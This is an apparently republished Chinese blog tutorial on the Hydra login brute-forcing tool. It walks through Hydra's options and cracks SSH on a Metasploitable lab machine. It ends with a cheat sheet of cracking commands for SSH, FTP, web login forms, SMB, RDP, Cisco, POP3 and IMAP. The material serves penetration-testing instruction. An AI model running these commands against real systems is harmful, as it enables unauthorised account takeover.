美文网首页藏兵谷
爆破工具 Hydra 简单使用

爆破工具 Hydra 简单使用

作者: MangfuStudio | 来源:发表于2019-03-01 00:42 被阅读234次

    关于Hydra

    hydra 是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

    hydra
    

    以下是Hydra支持的协议

    • Asterisk
    • AFP
    • Cisco AAA
    • Cisco auth
    • Cisco enable
    • CVS
    • Firebird
    • FTP
    • HTTP-FORM-GET
    • HTTP-FORM-POST
    • HTTP-GET
    • HTTP-HEAD
    • HTTP-POST
    • HTTP-PROXY
    • HTTPS-FORM-GET
    • HTTPS-FORM-POST
    • HTTPS-GET
    • HTTPS-HEAD
    • HTTPS-POST
    • HTTP-Proxy
    • ICQ
    • IMAP
    • IRC
    • LDAP
    • MS-SQL
    • MYSQL
    • NCP
    • NNTP
    • Oracle Listener
    • Oracle SID
    • Oracle
    • PC-Anywhere
    • PCNFS
    • POP3
    • POSTGRES
    • RDP
    • Rexec
    • Rlogin
    • Rsh
    • RTSP
    • SAP/R3
    • SIP
    • SMB
    • SMTP
    • SMTP Enum
    • SNMP v1+v2+v3
    • SOCKS5
    • SSH (v1 and v2)
    • SSHKEY
    • Subversion
    • Teamspeak (TS2)
    • Telnet
    • VMware-Auth
    • VNC
    • XMPP

    你可以在Github上找到它的源码: https://github.com/vanhauser-thc/thc-hydra

    Hydra 使用

    hydra 有两个版本

    1. 命令行版本
    2. GUI版本

    其中GUI版本叫 xhydra,直接在终端中输入命令打开(或者在菜单中寻找打开)

    xhdra   #打开xhydra
    
    xhydra 使用

    关于xhydra 的使用请参考 煜铭2011 的博文:密码破解神器-xhydra

    此篇博文已经详细讲解了使用方法

    hydra 的使用

    使用以下命令查看工具的参数

    hydra -h
    
    Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
    
    Options:
      -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
      -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
      -C FILE   colon separated "login:pass" format, instead of -L/-P options
      -M FILE   list of servers to attack, one entry per line, ':' to specify port
      -t TASKS  run TASKS number of connects in parallel per target (default: 16)
      -U        service module usage details
      -h        more command line options (COMPLETE HELP)
      server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
      service   the service to crack (see below for supported protocols)
      OPT       some service modules support additional input (-U for module help)
    
    Supported services: adam6500 asterisk cisco cisco-enable cvs ftp http-{head|get|post} http-{get|post}-form http-proxy http-proxy-urlenum icq imap irc ldap2 ldap3[s] mssql mysql(v4) nntp pcanywhere pcnfs pop3 redis rexec rlogin rpcap rsh rtsp s7-300 smb smtp smtp-enum snmp socks5 teamspeak telnet vmauthd vnc xmpp
    
    Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
    v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
    Don't use in military or secret service organizations, or for illegal purposes.
    
    Example:  hydra -l user -P passlist.txt ftp://192.168.0.1
    
    

    参数详解

    参数 用途
    -l 指定单个用户名,适合在知道用户名爆破用户名密码时使用
    -L 指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径)
    -p 指定单个密码,适合在知道密码爆破用户名时使用
    -P 指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径)
    -C 当用户名和密码存储到一个文件时使用此参数。注意,文件(字典)存储的格式必须为 "用户名:密码" 的格式。
    -M 指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 "地址:端口"
    -t 指定爆破时的任务数量(可以理解为线程数),默认为16
    -s 指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口
    -S 指定爆破时使用 SSL 链接
    -R 继续从上一次爆破进度上继续爆破
    -v/-V 显示爆破的详细信息
    -f 一但爆破成功一个就停止爆破
    server 代表要攻击的目标(单个),多个目标时请使用 -M 参数
    service 攻击目标的服务类型(可以理解为爆破时使用的协议),例如 http ,在hydra中,不同协议会使用不同的模块来爆破,hydra 的 http-gethttp-post 模块就用来爆破基于 getpost 请求的页面
    OPT 爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get

    实例:爆破ssh

    出于演示目的,我使用 Metasploitable 来当靶机,爆破其 ssh

    靶机IP:192.168.56.12
    用户:user
    user用户密码:user

    先用 nmap 扫描靶机是否开放了 22 端口
    选取爆破模块

    爆破ssh当然是使用 ssh模块 啦,(模块一般和协议名称一致,可以查看本文开头列出的协议部分),
    使用 -U 选项查看 ssh模块 是否需要额外的参数

    hydra -U ssh
    

    看来不需要额外参数。

    选取爆破字典

    字典什么的,网上有很多,搜索下载即可,如果懒得找,可以使用Kali自带的字典:/usr/share/wordlists/

    /usr/share/wordlists/ 目录下带有多种类型的字典,这里就不详细说了,可以参考这篇博文:Kali 系统自带字典目录wordlists

    用户字典:为了节省时间,我直接到靶机中查看有那些用户而不是使用用户字典
    密码字典:我这里选用了码云上墨玉麒麟 收集的 字典库 中的 字典.txt

    为什么选取 字典.txt 这个字典来爆破?
    因为我这里只是出于演示目的,而字典.txt 这个字典只有 200 多条密码数据,符合我演示的目的
    字典.txt 克隆到本地,重命名为 sshpasswd.list,存储在 /root/Work/ 目录中

    开始爆破
    hydra 192.168.56.12 ssh -l user -P /root/Work/sshpasswd.list -t 6 -V -f
    

    命令详细:

    • 攻击目标:192.168.56.12
    • 使用的模块:ssh
    • 爆破用户名:user (-l)
    • 使用的密码字典:/root/Work/sshpasswd.list (-P)
    • 爆破线程数:6 (-t)
    • 显示详细信息 (-V)
    • 爆破成功一个后停止 (-f)

    爆破成功


    用户名和密码都是 user

    验证

    # 连接目标ssh
    ssh user@192.168.56.12
    

    注意:
    在爆破过程中,要适当的使用爆破的线程数,因为ssh一般有连接数量的苛刻限制(比如连接数量不得超过4的),如果使用hydra默认的线程数,有些线程会连接失败,从而导致字典中有正确密码而无法爆破现象。
    个人建议 爆破ssh使用的线程数是 4~7

    其他协议的爆破就不一一列举了,以下是常用的一些爆破语句

    1、破解ssh: 
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh 
    hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 
    
    
    2、破解ftp: 
    hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV 
    hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 
    
    
    3、get方式提交,破解web登录: 
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ 
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
    
    
    4、post方式提交,破解web登录: 
    hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" 
    hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>" 
    (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中 的内容是表示错误猜解的返回信息提示。) 
    
    
    5、破解https: 
    hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 
    
    6、破解teamspeak: 
    hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 
    
    7、破解cisco: 
    hydra -P pass.txt 10.36.16.18 cisco 
    hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 
    
    8、破解smb: 
    hydra -l administrator -P pass.txt 10.36.16.18 smb 
    
    9、破解pop3: 
    hydra -l muts -P pass.txt my.pop3.mail pop3 
    
    10、破解rdp: 
    hydra ip rdp -l administrator -P pass.txt -V 
    
    11、破解http-proxy: 
    hydra -l admin -P pass.txt http-proxy://10.36.16.18 
    
    12、破解imap: 
    hydra -L user.txt -p secret 10.36.16.18 imap PLAIN 
    hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
    

    不喜欢看文章的可以看我的于简书同步的博客文章 爆破工具 Hydra 的简单使用中的使用视频

    相关文章

      网友评论

        本文标题:爆破工具 Hydra 简单使用

        本文链接:https://www.haomeiwen.com/subject/qebcuqtx.html